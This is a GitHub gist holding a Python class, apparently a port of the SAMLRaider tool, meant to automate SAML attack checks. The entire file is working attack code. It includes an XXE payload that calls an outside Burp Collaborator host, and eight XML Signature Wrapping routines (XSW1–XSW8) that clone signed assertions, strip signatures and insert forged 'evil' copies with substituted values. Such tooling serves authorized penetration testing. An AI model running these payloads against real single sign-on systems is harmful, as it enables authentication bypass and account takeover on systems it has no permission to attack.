Created
February 25, 2021 12:57
-
-
Save FrankSpierings/8597c7e83bf0c53af5e446fdd38ff714 to your computer and use it in GitHub Desktop.
SAMLRaider in Python, useful to automate (new) logins and the automatic exploit checks.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import xml.dom.minidom as minidom | |
# Constants | |
COLLABORATOR = 'example.burpcollaborator.net' | |
class SAMLRaider(): | |
def __init__(self, match_replace_map: dict = None): | |
"""SAMLRainder object | |
Args: | |
match_replace_map (dict, optional): Optional replacement map to be | |
applied to the output XML. | |
""" | |
if isinstance(match_replace_map, dict): | |
self.__match_replace_map = match_replace_map | |
else: | |
self.__match_replace_map = {} | |
def __map_replace(self, elem): | |
for node in elem.childNodes: | |
if node.nodeType == node.ELEMENT_NODE: | |
node = self.__map_replace(node) | |
else: | |
if node.nodeValue in self.__match_replace_map.keys(): | |
node.nodeValue = self.__match_replace_map[node.nodeValue] | |
return elem | |
def ppxmlstr(self, xmlstr: str): | |
"""Pretty print the XML in the given string. | |
Args: | |
xmlstr (str): Description | |
""" | |
document = minidom.parseString(xmlstr) | |
print(document.toprettyxml()) | |
def XXE(self, saml: str, target: str = COLLABORATOR) -> str: | |
"""Apply an XXE attack hitting the target if it is processed. | |
Args: | |
saml (str): The SAML XML as a string | |
target (str, optional): The target server, insert a Burp | |
Collaborator for instance. | |
Returns: | |
str: The unmodified SAML XML as a string. | |
Raises: | |
TypeError: The specified 'saml' parameter is of an incorrect type. | |
""" | |
if isinstance(saml, bytes): | |
saml = saml.decode(errors='ignore') | |
elif isinstance(saml, str): | |
pass | |
else: | |
raise TypeError("Value for saml is not 'str'") | |
xxePayload = f'<!DOCTYPE foo [ <!ENTITY % bar SYSTEM "http://{target}"> %bar; ]>' | |
parts = saml.split('?>', maxsplit=1) | |
parts[0] = '{0}?>'.format(parts[0]) | |
# Insert the payload after the (first) split | |
parts.insert(1, xxePayload) | |
newsaml = ''.join(parts) | |
return newsaml | |
def XSW0(self, saml: str) -> str: | |
"""XSW0 – Applies no modification to SAML Response messages. It is a placebo. | |
Args: | |
saml (str): The SAML XML as a string. | |
Returns: | |
str: The unmodified SAML XML as a string. | |
""" | |
document = minidom.parseString(saml) | |
return document.toxml() | |
def XSW1(self, saml: str) -> str: | |
"""XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of | |
the Response after the existing signature. | |
Args: | |
saml (str): The SAML XML as a string. | |
Returns: | |
str: The modified SAML XML as a string. | |
""" | |
document = minidom.parseString(saml) | |
response = document.getElementsByTagNameNS("*", "Response")[0] | |
cloned_response = response.cloneNode(True) | |
# The Original response will be the evil one | |
response = self.__map_replace(response) | |
cloned_signature = cloned_response.getElementsByTagNameNS( | |
"*", "Signature")[0] | |
cloned_signature.parentNode.removeChild(cloned_signature) | |
signature = response.getElementsByTagNameNS("*", "Signature")[0] | |
signature.appendChild(cloned_response) | |
response.setAttribute("ID", "_evil_response_ID") | |
return document.toxml() | |
def XSW2(self, saml: str) -> str: | |
"""XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of | |
the Response before the existing signature. | |
Args: | |
saml (str): The SAML XML as a string. | |
Returns: | |
str: The modified SAML XML as a string. | |
""" | |
document = minidom.parseString(saml) | |
response = document.getElementsByTagNameNS("*", "Response")[0] | |
cloned_response = response.cloneNode(True) | |
# The Original response will be the evil one | |
response = self.__map_replace(response) | |
cloned_signature = cloned_response.getElementsByTagNameNS( | |
"*", "Signature")[0] | |
cloned_signature.parentNode.removeChild(cloned_signature) | |
signature = response.getElementsByTagNameNS("*", "Signature")[0] | |
signature.parentNode.insertBefore(cloned_response, signature) | |
response.setAttribute("ID", "_evil_response_ID") | |
return document.toxml() | |
def XSW3(self, saml: str) -> str: | |
"""XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of | |
the Assertion before the existing Assertion. | |
Args: | |
saml (str): The SAML XML as a string. | |
Returns: | |
str: The modified SAML XML as a string. | |
""" | |
document = minidom.parseString(saml) | |
assertion = document.getElementsByTagNameNS("*", "Assertion")[0] | |
evil_assertion = assertion.cloneNode(True) | |
evil_assertion = self.__map_replace(evil_assertion) | |
copied_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0] | |
evil_assertion.setAttribute("ID", "_evil_response_ID") | |
evil_assertion.removeChild(copied_signature) | |
document.documentElement.insertBefore(evil_assertion, assertion) | |
return document.toxml() | |
def XSW4(self, saml: str) -> str: | |
"""XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of | |
the Assertion after the existing Assertion. | |
Args: | |
saml (str): The SAML XML as a string. | |
Returns: | |
str: The modified SAML XML as a string. | |
""" | |
document = minidom.parseString(saml) | |
assertion = document.getElementsByTagNameNS("*", "Assertion")[0] | |
evil_assertion = assertion.cloneNode(True) | |
evil_assertion = self.__map_replace(evil_assertion) | |
copied_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0] | |
evil_assertion.setAttribute("ID", "_evil_response_ID") | |
evil_assertion.removeChild(copied_signature) | |
document.documentElement.appendChild(evil_assertion) | |
return document.toxml() | |
def XSW5(self, saml: str) -> str: | |
"""XSW5 – Applies to SAML Assertion messages. Change a value in the signed | |
copy of the Assertion and adds a copy of the original Assertion with the | |
signature removed at the end of the SAML message. | |
Args: | |
saml (str): The SAML XML as a string. | |
Returns: | |
str: The modified SAML XML as a string. | |
""" | |
document = minidom.parseString(saml) | |
evil_assertion = document.getElementsByTagNameNS("*", "Assertion")[0] | |
assertion = evil_assertion.cloneNode(True) | |
evil_assertion = self.__map_replace(evil_assertion) | |
copied_signature = assertion.getElementsByTagNameNS("*", "Signature")[0] | |
assertion.removeChild(copied_signature) | |
document.documentElement.appendChild(assertion) | |
evil_assertion.setAttribute("ID", "_evil_response_ID") | |
return document.toxml() | |
def XSW6(self, saml: str) -> str: | |
"""XSW6 – Applies to SAML Assertion messages. Change a value in the signed | |
copy of the Assertion and adds a copy of the original Assertion with the | |
signature removed after the original signature. | |
Args: | |
saml (str): The SAML XML as a string. | |
Returns: | |
str: The modified SAML XML as a string. | |
""" | |
document = minidom.parseString(saml) | |
evil_assertion = document.getElementsByTagNameNS("*", "Assertion")[0] | |
original_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0] | |
assertion = evil_assertion.cloneNode(True) | |
evil_assertion = self.__map_replace(evil_assertion) | |
copied_signature = assertion.getElementsByTagNameNS("*", "Signature")[0] | |
assertion.removeChild(copied_signature) | |
original_signature.appendChild(assertion) | |
evil_assertion.setAttribute("ID", "_evil_response_ID") | |
return document.toxml() | |
def XSW7(self, saml: str) -> str: | |
"""XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block | |
with a cloned unsigned assertion. | |
Args: | |
saml (str): The SAML XML as a string. | |
Returns: | |
str: The modified SAML XML as a string. | |
""" | |
document = minidom.parseString(saml) | |
assertion = document.getElementsByTagNameNS("*", "Assertion")[0] | |
extensions = document.createElement("Extensions") | |
document.documentElement.insertBefore(extensions, assertion) | |
evil_assertion = assertion.cloneNode(True) | |
evil_assertion = self.__map_replace(evil_assertion) | |
copied_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0] | |
evil_assertion.removeChild(copied_signature) | |
extensions.appendChild(evil_assertion) | |
return document.toxml() | |
def XSW8(self, saml: str) -> str: | |
"""XSW8 – Applies to SAML Assertion messages. Add an “Object” block | |
containing a copy of the original assertion with the signature removed. | |
Args: | |
saml (str): The SAML XML as a string. | |
Returns: | |
str: The modified SAML XML as a string. | |
""" | |
document = minidom.parseString(saml) | |
evil_assertion = document.getElementsByTagNameNS("*", "Assertion")[0] | |
original_signature = evil_assertion.getElementsByTagNameNS("*", "Signature")[0] | |
assertion = evil_assertion.cloneNode(True) | |
evil_assertion = self.__map_replace(evil_assertion) | |
copied_signature = assertion.getElementsByTagNameNS("*", "Signature")[0] | |
assertion.removeChild(copied_signature) | |
obj = document.createElement('Object') | |
original_signature.appendChild(obj) | |
obj.appendChild(assertion) | |
return document.toxml() | |
# Use all the exploits, starting with 'X' | |
samlraider = SAMLRaider() | |
exploits = [getattr(samlraider, i) for i in dir(samlraider) if i.startswith('X')] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment